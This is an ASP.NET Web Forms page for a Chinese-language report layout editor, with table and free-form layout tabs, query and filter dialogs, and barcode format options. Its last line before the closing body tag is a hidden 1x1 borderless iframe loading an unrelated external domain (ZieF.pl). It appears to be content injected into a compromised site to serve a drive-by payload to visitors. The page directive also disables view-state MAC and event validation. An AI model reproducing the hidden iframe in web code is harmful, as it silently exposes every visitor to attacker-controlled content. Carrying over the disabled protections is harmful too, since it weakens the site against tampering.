<%@ page language="C#" autoeventwireup="true" inherits="ims.web.detailLayout, ims.web" enableviewstatemac="false" enableEventValidation="false" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="detailLayout">
<head runat="server">
    <title></title>
   </head>
<body class="waiting" onbeforeunload="confirmExit();">
    <div class="hide"><img src="images/loading.gif" />正在生成，请稍候 …</div>
    <form id="form1" runat="server">
        <asp:ScriptManager runat="server" ID="sm">
            <Scripts><asp:ScriptReference Name="MicrosoftAjax.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/><asp:ScriptReference Name="MicrosoftAjaxWebForms.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/></Scripts>
        </asp:ScriptManager>
        <div id="pageTitle" runat="server" class="pageTitle"></div>
        <div class="ui-tabs noborder" id="tabs">
	        <ul>
		        <li><a href="#tableArea">表格版式</a></li>
		        <li><a href="#free">自由排版</a>
                    <asp:UpdatePanel ID="freeList" RenderMode="Inline" runat="server" ChildrenAsTriggers="false" UpdateMode="Conditional">
                        <ContentTemplate>：<asp:DropDownList runat="server" ID="ddlLayouts" AutoPostBack="true" OnSelectedIndexChanged="ddlLayoutsChanged" onmousedown="oriLayout=$(this).val();" onchange="return preChange();"></asp:DropDownList></ContentTemplate>
                    </asp:UpdatePanel>
		        </li>
	        </ul>
	        <div id="tableArea">
                <table cellspacing="4" id="tabLayout">
			        <tr>
				        <td class="zone" style="width:43%" runat="server" id="zone0">
                            <table cellpadding="0" cellspacing="0"><tr><td class="caption"><div class="shell"><div class="drag">➜|</div>A 区</div></td></tr></table>
                        </td>
				        <td class="zone" style="width:43%" runat="server" id="zone1">
                            <table cellpadding="0" cellspacing="0"><tr><td class="caption"><div class="shell"><div class="drag">➜|</div>B 区</div></td></tr></table>
                        </td>
				        <td rowspan="3" class="zone" style="width:14%" runat="server" id="recycle">
					        <table cellpadding="0" cellspacing="0"><tr><td class="caption"><div class="shell left">&nbsp;<img src="images/recycle.gif" align="absMiddle" /> 回收站</div></td></tr></table>
                        </td>
			        </tr>
			        <tr>
				        <td colspan="2" class="zone" runat="server" id="zone2">
					        <table cellpadding="0" cellspacing="0"><tr><td class="caption"><div class="shell"><div class="drag">➜|</div>C 区</div></td></tr></table>
                        </td>
			        </tr>
			        <tr>
				        <td colspan="2" valign="top">
                            <div class="gray"> <img src="images/info.gif" align="absMiddle" /> 拖动字段名称调整位置；拖动“➜|”标记调整列宽度；拖入回收站以隐藏字段。</div>
                            <div class="footBtnArea">
                                <input type="button" id="btnSaveTable" accesskey="L" title="保存排版结果&#13;快捷键：Alt+L" value="保存" onclick="return setLayout();" class="btn" runat="server" onserverclick="SaveLayout" />
                                <input type="button" id="btnM1" accesskey="M" value="管理版式" onclick="ShowPop('manage_popup');" class="btn" />
                                <input type="button" accesskey="B" onclick="toBack();" value="返回" class="btn" />
                                <input type="button" value="帮助" accesskey="H" onclick="return showHelp('tableLayout');" class="btn" />
                            </div>
                        </td>
			        </tr>
                </table>
            </div>
	        <div id="free">
                <asp:UpdatePanel ID="upEditor" OnPreRender="MakeEditor" ChildrenAsTriggers="false" runat="server" UpdateMode="Conditional">
                <ContentTemplate>
                    <asp:TextBox runat="server" ID="ckHtml" Height="300" Width="100%" CssClass="ck" TextMode="MultiLine"></asp:TextBox>
                </ContentTemplate>
                <Triggers><asp:AsyncPostBackTrigger ControlID="ddlLayouts" EventName="SelectedIndexChanged" /></Triggers>
                </asp:UpdatePanel>
                <table cellspacing="0" class="mtop_m"><tr><td class="fieldset" style="width:38%">
                    <div class="zoneTitle">查询定义<select class="hidden"></select></div>
                    <asp:UpdatePanel ID="upq" runat="server" RenderMode="Block" UpdateMode="Conditional">
                        <ContentTemplate>
                            <ul runat="server" id="ulQuerys"></ul>
                            <div runat="server" id="divAdd"><asp:LinkButton runat="server" ID="lbAddQuery" OnClick="ShowQuery" CssClass="u" Text="添加查询定义…"></asp:LinkButton></div>
                            <asp:Button runat="server" ID="btnDel" OnClick="DelQuery" CssClass="hide" />
                        </ContentTemplate>
                        <Triggers><asp:AsyncPostBackTrigger ControlID="saveLayout" EventName="serverclick" /></Triggers>
                    </asp:UpdatePanel>
                    </fieldset>
                </td><td style="width:4%"></td><td class="fieldset" style="width:57%">
                    <div class="zoneTitle">代码速查：<asp:DropDownList runat="server" ID="ddlTemplets" OnSelectedIndexChanged="TempletChanged" AutoPostBack="true"></asp:DropDownList></div>
                    <asp:UpdatePanel ID="up" runat="server" RenderMode="Block" UpdateMode="Conditional">
                        <ContentTemplate>
                            <asp:DropDownList runat="server" ID="ddlfs"></asp:DropDownList>
                            <select id="ddlFmts" onchange="fmtsChanged();">
                                    <option value="">正常显示</option>
                                    <option value="BarCode_1D">条形码</option>
                                    <option value="BarCode_2D">二维码</option>
                                    <option value="UpperNumeric">大写数字</option>
                                    <option value="OriSize">原始图片</option>
                                    </select> <select id="ddlBarCodes" class="forBarcode hide" onchange="showTag();">
                                    <option value="CODE39">CODE 39</option>
                                    <option value="CODE39Ext">CODE 39 Extended</option>
                                    <option value="CODE128">CODE 128</option>
                                    <option value="EAN13">EAN-13</option>
                                    <option value="EAN8">EAN-8</option>
                                    <option value="UPCA">UPC-A</option>
                                    <option value="UPCE">UPC-E</option>
                                    <option value="Codabar">Codabar</option>
                                    <option value="JAN13">JAN-13</option>
                                    <option value="BOOKLAND">BOOKLAND</option>
                                    <option value="ISBN">ISBN</option>
                                    <option value="PostNet">PostNet</option>
                                    <option value="Sta2of5">Standard 2 of 5</option>
                                    <option value="Ind2of5">Industrial 2 of 5</option>
                                    <option value="Int2of5">Interleaved 2 of 5</option>
                                    <option value="USD8">USD 8</option>
                                    <option value="UCC12">UCC 12</option>
                                    <option value="UCC13">UCC 13</option>
                                    <option value="CODE11">CODE 11</option>
                                    <option value="CODE128A">CODE 128-A</option>
                                    <option value="CODE128B">CODE 128-B</option>
                                    <option value="CODE128C">CODE 128-C</option>
                                    <option value="LOGMARS">LOGMARS</option>
                                    <option value="UPC2Ext">UPC 2 Digit Ext</option>
                                    <option value="UPC5Ext">UPC 5 Digit Ext</option>
                                    <option value="TELEPEN">TELEPEN</option>
                                    <option value="FIM">FIM</option>
                                    <option value="Mod_Plessey">Modified_Plessey</option>
                                    <option value="MSI_Mod10">MSI Mod10</option>
                                    <option value="MSI_Mod11">MSI Mod11</option>
                                    <option value="MSI_2Mod10">MSI-2 Mod10</option>
                                    <option value="UNSPECIFIED">Unspecified</option>
                                    </select> <select id="ddlSize" class="hide" onchange="showTag();">
                                    <option value="small">尺寸：小</option>
                                    <option value="smaller">尺寸：较小</option>
                                    <option value="medium" selected="selected">尺寸：适中</option>
                                    <option value="larger">尺寸：较大</option>
                                    <option value="large">尺寸：大</option>
                                    </select> <span class="forBarcode hide"><input type="checkbox" id="cbLabel" onchange="showTag();" /><label for="cbLabel">包含文字</label></span>：<input id="fieldTag" class="highlight" readonly="readonly" onmouseover="if($('.pop:visible').length==0)$(this).select();" /> <img src="images/copy.gif" title="复制代码" id="iconCopy" />
                        </ContentTemplate>
                        <Triggers>
                            <asp:AsyncPostBackTrigger ControlID="ddlTemplets" EventName="SelectedIndexChanged" />
                        </Triggers>
                    </asp:UpdatePanel>
                    </td></tr>
                </table>
                <div class="footBtnArea mtop_x">
                    <input type="button" id="saveLayout" accesskey="L" title="保存当前版式&#13;快捷键：Alt+L" value="保存" onclick="return setLayout();" class="btn" runat="server" onserverclick="SaveLayout" />
                    <input type="button" id="addLayout" accesskey="A" title="添加一个新的自由排版版式" value="添加版式" onclick="toAddLayout();" style="width:66px" class="btn" />
                    <input type="button" id="btnM2" accesskey="M" value="管理版式" onclick="ShowPop('manage_popup');" style="width:66px" class="btn" />
                    <input type="button" accesskey="B" onclick="toBack();" value="返回" class="btn" />
                    <input type="button" value="帮助" accesskey="H" onclick="return showHelp('freeLayout');" class="btn" />
                </div>
	        </div>
        </div>

        <ims:Pop runat="server" ID="pop" Title="查询设置" OnOkClick="SaveQuery" Width="460" OnOkClientClick="return preSaveQuery();" HideOnOkClientClick="false" CustomCss="noline" ShowProgress="false">
        <ContentTemplate>
            <asp:UpdatePanel ID="upQuery" runat="server" RenderMode="inline" ChildrenAsTriggers="true" UpdateMode="conditional">
            <ContentTemplate>
            <div>引用标记：<asp:DropDownList runat="server" ID="ddlVarName" onchange="setTableCode();"></asp:DropDownList>　名称：<asp:TextBox runat="server" ID="qName" Width="240"></asp:TextBox></div>
            <fieldset class="mtop_m"><legend>查询：<asp:DropDownList ID="ddlQueryTemplets" AutoPostBack="true" OnSelectedIndexChanged="InitByTemplet" runat="server"></asp:DropDownList></legend>
            <div runat="server" id="queryCond">
            <asp:CheckBox ID="cbCond1" Text="过滤器：" runat="server" /><asp:DropDownList ID="ddlFilters"
            runat="server"></asp:DropDownList>
            <asp:HyperLink ID="hlAddFilter" Text="添加过滤器" runat="server"></asp:HyperLink>
            <div id="d1" runat="server"><asp:RadioButtonList runat="server" ID="rbl1" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
            <asp:CheckBox ID="cbCond2" Checked="true" runat="server" /><asp:DropDownList ID="ddlSourceFields" runat="server"></asp:DropDownList>
                <asp:DropDownList ID="ddlCondOperators" onchange="checkCondMode(this);" runat="server" Width="52"></asp:DropDownList>
                当前<asp:DropDownList ID="ddlTargetFields" runat="server"></asp:DropDownList>
            <a runat="server" id="add1" href="#" onclick="return addCond();">增加条件</a> 
            </div>
            <div id="d2" runat="server"><asp:RadioButtonList runat="server" ID="rbl2" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
            <asp:CheckBox ID="cbCond3" runat="server" /><asp:DropDownList ID="ddlSourceFields3" runat="server"></asp:DropDownList>
                <asp:DropDownList ID="ddlCondOperators3" onchange="checkCondMode(this);" runat="server" Width="52"></asp:DropDownList>
                当前<asp:DropDownList ID="ddlTargetFields3" runat="server"></asp:DropDownList>
            <a runat="server" id="add2" href="#" onclick="return addCond();">增加条件</a> 
            </div>
            <div id="d3" runat="server"><asp:RadioButtonList runat="server" ID="rbl3" RepeatDirection="Horizontal" RepeatLayout="Flow"><asp:ListItem Value="And" Selected="True">并且</asp:ListItem><asp:ListItem Value="Or">或者</asp:ListItem></asp:RadioButtonList><br />
            <asp:CheckBox ID="cbCond4" runat="server" /><asp:DropDownList ID="ddlSourceFields4" runat="server"></asp:DropDownList>
                <asp:DropDownList ID="ddlCondOperators4" onchange="checkCondMode(this);" runat="server" Width="52"></asp:DropDownList>
                当前<asp:DropDownList ID="ddlTargetFields4" runat="server"></asp:DropDownList></div>
            </div>
            <div runat="server" id="msg" class="footBtnArea gray">请选择要查询的对象！</div>
            </fieldset>
            <div runat="server" id="divOptions">排序方式：<asp:DropDownList ID="ddlResultSortFields" runat="server"></asp:DropDownList>
                <asp:DropDownList ID="ddlSortDirection" runat="server">
                <asp:ListItem Value="Ascending" Selected="true">从小到大</asp:ListItem>
                <asp:ListItem Value="Descending">从大到小</asp:ListItem>
                </asp:DropDownList>
                <div class="mtop_s">数据表格：<a href="javascript:void(0);" runat="server" id="aRender" class="u" title="点此设置表格" onclick="return showRender();"></a> <img src="images/what.gif" title="解释" onclick="What('QueryTable')" class="what" /></div>
            </div>
            </ContentTemplate>
            </asp:UpdatePanel>
        </ContentTemplate>
        </ims:Pop>
        <ims:Pop runat="server" ID="add" Title="添加版式" OnOkClientClick="preAddLayout();" HideOnOkClientClick="false" OnOkClick="AddNewLayout" ShowProgress="false">
            <ContentTemplate>
                <div class="footBtnArea">
                    <div class="left inlineBlock">
                        版式名称：<asp:TextBox runat="server" ID="tbName" Width="200"></asp:TextBox><br />
                        初始化为：<asp:DropDownList runat="server" ID="ddlFrom"></asp:DropDownList>
                    </div>
                </div>
            </ContentTemplate>
        </ims:Pop>
        <ims:Pop runat="server" ID="manage" Title="管理版式" ShowOkButton="false" CanelButtonText="关闭" OnOkClick="AddNewLayout" Width="420" CustomCss="noline" ShowProgress="false">
            <ContentTemplate>
                <table class="normal" id="layouts" cellspacing="1">
                    <tr><th>版 式</th><th style="width:60px">设为默认</th><th style="width:32px">更名</th><th style="width:32px">编辑</th><th style="width:32px">删除</th></tr>
                    <asp:PlaceHolder runat="server" ID="phLayouts"></asp:PlaceHolder>
                </table>
                <asp:Button runat="server" ID="btnManage" OnClick="OperaLayout" CssClass="hide" />
            </ContentTemplate>
        </ims:Pop>

        <div id="ts" class="pop" style="width:670px">
        <div class="head">
            <div class="title Default">数据表格设置</div><div class="close" onclick="HideDialog();">×</div>
        </div>
            <div class="body notfocus">
                <fieldset><legend>选择字段 <img src='images/selectall.gif' class='slt' title='全选/全不选' onclick="SelectAll('divFields');" /><img src='images/revselect.gif' class='slt' title='反选' onclick="RevSelect('divFields');" /></legend>
                    <asp:UpdatePanel ID="fs" runat="server" UpdateMode="conditional">
                    <ContentTemplate>
                        <div class="padbox colorText" runat="server" id="divFields"></div>
                    </ContentTemplate>
                    </asp:UpdatePanel>
                </fieldset>
                选项：<input type="checkbox" id="cbNo" /><label for="cbNo">显示序号列</label><input type="checkbox" id="cbBackcolor" /><label for="cbBackcolor">标题行底色</label><input type="checkbox" id="cbFit" /><label for="cbFit">宽度自适应</label><input type="checkbox" id="cbPagesize" /><label for="cbPagesize">打印时每</label><input type="text" id="tbPagesize" style="width:32px" /> <label for="cbPagesize">行分页</label><input type="checkbox" id="cbClass" /><label for="cbClass">添加样式类：</label><input type="text" id="tbClass" style="width:54px" /> <img src="images/what.gif" title="解释" onclick="What('TableClass')" class="what" />
                <fieldset class="mtop_m"><legend>预览</legend>
                    <div id="previewArea">
                        <div id="container">
                            <table cellspacing="1" id="previewTable" class="normal autoWidth center"><tr id="preview"></tr></table>
                        </div>
                    </div>
                </fieldset>
                <div class="gray mtop_s middle"><img src="images/info.gif" /> 鼠标拖动列标题调整顺序，拖动列边界调整宽度。</div>
            </div>
            <div class="btnArea">
                <input type="button" runat="server" value="确定" id="btnOk" onclick="saveTable();" class="btn" />
                <input type="button" class="btn" value="取消" runat="server" id="btnCancel" onclick="HideDialog();" />
            </div>
        </div>
    <script src="js/comm.js"></script><script src="js/detailLayout.js"></script>
    </form>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>